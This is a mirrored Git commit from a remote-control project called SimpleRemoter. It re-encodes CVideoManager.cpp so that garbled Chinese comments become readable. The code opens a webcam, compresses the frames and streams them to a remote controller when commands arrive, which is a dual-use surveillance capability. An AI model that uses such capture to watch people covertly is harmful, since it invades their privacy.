mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-21 23:13:08 +08:00
style: Change files encoding format to UTF8-BOM
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
// VideoManager.cpp: implementation of the CVideoManager class.
|
||||
// VideoManager.cpp: implementation of the CVideoManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
@@ -19,7 +19,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
|
||||
m_pVideoCodec = NULL;
|
||||
m_fccHandler = 1129730893;
|
||||
|
||||
m_CapVideo.Open(0,0); // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_CapVideo.Open(0,0); // 开启
|
||||
lpBuffer = NULL;
|
||||
|
||||
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL);
|
||||
@@ -31,25 +31,25 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||
CVideoManager *This = (CVideoManager *)lParam;
|
||||
static ULONGLONG dwLastScreen = GetTickCount64();
|
||||
|
||||
if (This->Initialize()) { //ת<EFBFBD><EFBFBD>Initialize
|
||||
This->m_bIsCompress=true; //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD>
|
||||
Mprintf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
if (This->Initialize()) { //转到Initialize
|
||||
This->m_bIsCompress=true; //如果初始化成功就设置可以压缩
|
||||
Mprintf("压缩视频进行传输.\n");
|
||||
}
|
||||
|
||||
This->SendBitMapInfor(); //<EFBFBD><EFBFBD><EFBFBD><EFBFBD>bmpλͼ<EFBFBD>ṹ
|
||||
This->SendBitMapInfor(); //发送bmp位图结构
|
||||
|
||||
// <EFBFBD>ȿ<EFBFBD><EFBFBD>ƶ˶Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// 等控制端对话框打开
|
||||
This->WaitForDialogOpen();
|
||||
#if USING_ZLIB
|
||||
const int fps = 8;// ֡<EFBFBD><EFBFBD>
|
||||
const int fps = 8;// 帧率
|
||||
#else
|
||||
const int fps = 8;// ֡<EFBFBD><EFBFBD>
|
||||
const int fps = 8;// 帧率
|
||||
#endif
|
||||
const int sleep = 1000 / fps;// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<EFBFBD><EFBFBD>
|
||||
const int sleep = 1000 / fps;// 间隔时间(ms)
|
||||
|
||||
timeBeginPeriod(1);
|
||||
while (This->m_bIsWorking) {
|
||||
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
|
||||
// 限制速度
|
||||
int span = sleep-(GetTickCount64() - dwLastScreen);
|
||||
Sleep(span > 0 ? span : 1);
|
||||
if (span < 0)
|
||||
@@ -73,7 +73,7 @@ CVideoManager::~CVideoManager()
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
SAFE_CLOSE_HANDLE(m_hWorkThread);
|
||||
Mprintf("CVideoManager ~CVideoManager \n");
|
||||
if (m_pVideoCodec) { //ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (m_pVideoCodec) { //压缩类
|
||||
delete m_pVideoCodec;
|
||||
m_pVideoCodec = NULL;
|
||||
}
|
||||
@@ -85,7 +85,7 @@ void CVideoManager::Destroy()
|
||||
{
|
||||
m_bIsWorking = FALSE;
|
||||
Mprintf("CVideoManager Destroy \n");
|
||||
if (m_pVideoCodec) { //ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (m_pVideoCodec) { //压缩类
|
||||
delete m_pVideoCodec;
|
||||
m_pVideoCodec = NULL;
|
||||
}
|
||||
@@ -115,14 +115,14 @@ BOOL CVideoManager::SendNextScreen()
|
||||
lpBuffer = lpBuffer ? lpBuffer : new BYTE[nBufferLen];
|
||||
|
||||
lpBuffer[0] = TOKEN_WEBCAM_DIB;
|
||||
lpBuffer[1] = m_bIsCompress; //ѹ<EFBFBD><EFBFBD>
|
||||
lpBuffer[1] = m_bIsCompress; //压缩
|
||||
|
||||
memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD)); //<EFBFBD><EFBFBD><EFBFBD>ォ<EFBFBD><EFBFBD>Ƶѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD><EFBFBD>͵Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD)); //这里将视频压缩码写入要发送的缓冲区
|
||||
|
||||
UINT nPacketLen = 0;
|
||||
if (m_bIsCompress && m_pVideoCodec) { //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>жϣ<EFBFBD><EFBFBD>Ƿ<EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD>
|
||||
if (m_bIsCompress && m_pVideoCodec) { //这里判断,是否压缩,压缩码是否初始化成功,如果成功就压缩
|
||||
int nCompressLen = 0;
|
||||
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
//这里压缩视频数据了
|
||||
bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB,
|
||||
m_CapVideo.GetBmpInfor()->bmiHeader.biSizeImage, lpBuffer + nHeadLen,
|
||||
&nCompressLen, NULL);
|
||||
@@ -130,11 +130,11 @@ BOOL CVideoManager::SendNextScreen()
|
||||
// some thing error
|
||||
return FALSE;
|
||||
}
|
||||
//<EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD>㷢<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><EFBFBD>Ĵ<EFBFBD>С ʣ<>¾<EFBFBD><C2BE>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض˿<D8B6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>
|
||||
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˵<EFBFBD>void CVideoDlg::OnReceiveComplete(void)
|
||||
//重新计算发送数据包的大小 剩下就是发送了,我们到主控端看一下视频如果压缩了怎么处理
|
||||
//到主控端的void CVideoDlg::OnReceiveComplete(void)
|
||||
nPacketLen = nCompressLen + nHeadLen;
|
||||
} else {
|
||||
//<EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD> <20><>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>
|
||||
//不压缩 永远不来
|
||||
memcpy(lpBuffer + nHeadLen, lpDIB, dwBmpImageSize);
|
||||
nPacketLen = dwBmpImageSize+ nHeadLen;
|
||||
}
|
||||
@@ -153,16 +153,16 @@ VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
}
|
||||
case COMMAND_WEBCAM_ENABLECOMPRESS: { // Ҫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD>
|
||||
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
case COMMAND_WEBCAM_ENABLECOMPRESS: { // 要求启用压缩
|
||||
// 如果解码器初始化正常,就启动压缩功能
|
||||
if (m_pVideoCodec)
|
||||
InterlockedExchange((LPLONG)&m_bIsCompress, true);
|
||||
Mprintf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
Mprintf("压缩视频进行传输.\n");
|
||||
break;
|
||||
}
|
||||
case COMMAND_WEBCAM_DISABLECOMPRESS: { // ԭʼ<EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><EFBFBD><EFBFBD>
|
||||
case COMMAND_WEBCAM_DISABLECOMPRESS: { // 原始数据传输
|
||||
InterlockedExchange((LPLONG)&m_bIsCompress, false);
|
||||
Mprintf("<EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
Mprintf("不压缩视频进行传输.\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -176,16 +176,16 @@ BOOL CVideoManager::Initialize()
|
||||
delete m_pVideoCodec;
|
||||
m_pVideoCodec=NULL;
|
||||
}
|
||||
if (m_fccHandler==0) { //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD>
|
||||
if (m_fccHandler==0) { //不采用压缩
|
||||
bRet= FALSE;
|
||||
return bRet;
|
||||
}
|
||||
m_pVideoCodec = new CVideoCodec;
|
||||
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶѹ<EFBFBD><EFBFBD> <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD> m_fccHandler(<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>캯<EFBFBD><EFBFBD><EFBFBD>в鿴)
|
||||
//这里初始化,视频压缩 ,注意这里的压缩码 m_fccHandler(到构造函数中查看)
|
||||
if (!m_pVideoCodec->InitCompressor(m_CapVideo.GetBmpInfor(), m_fccHandler)) {
|
||||
delete m_pVideoCodec;
|
||||
bRet=FALSE;
|
||||
// <EFBFBD><EFBFBD>NULL, <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD>ж<EFBFBD><EFBFBD>Ƿ<EFBFBD>ΪNULL<EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><EFBFBD>Ƿ<EFBFBD>ѹ<EFBFBD><EFBFBD>
|
||||
// 置NULL, 发送时判断是否为NULL来判断是否压缩
|
||||
m_pVideoCodec = NULL;
|
||||
}
|
||||
return bRet;
|
||||
|
||||
Reference in New Issue
Block a user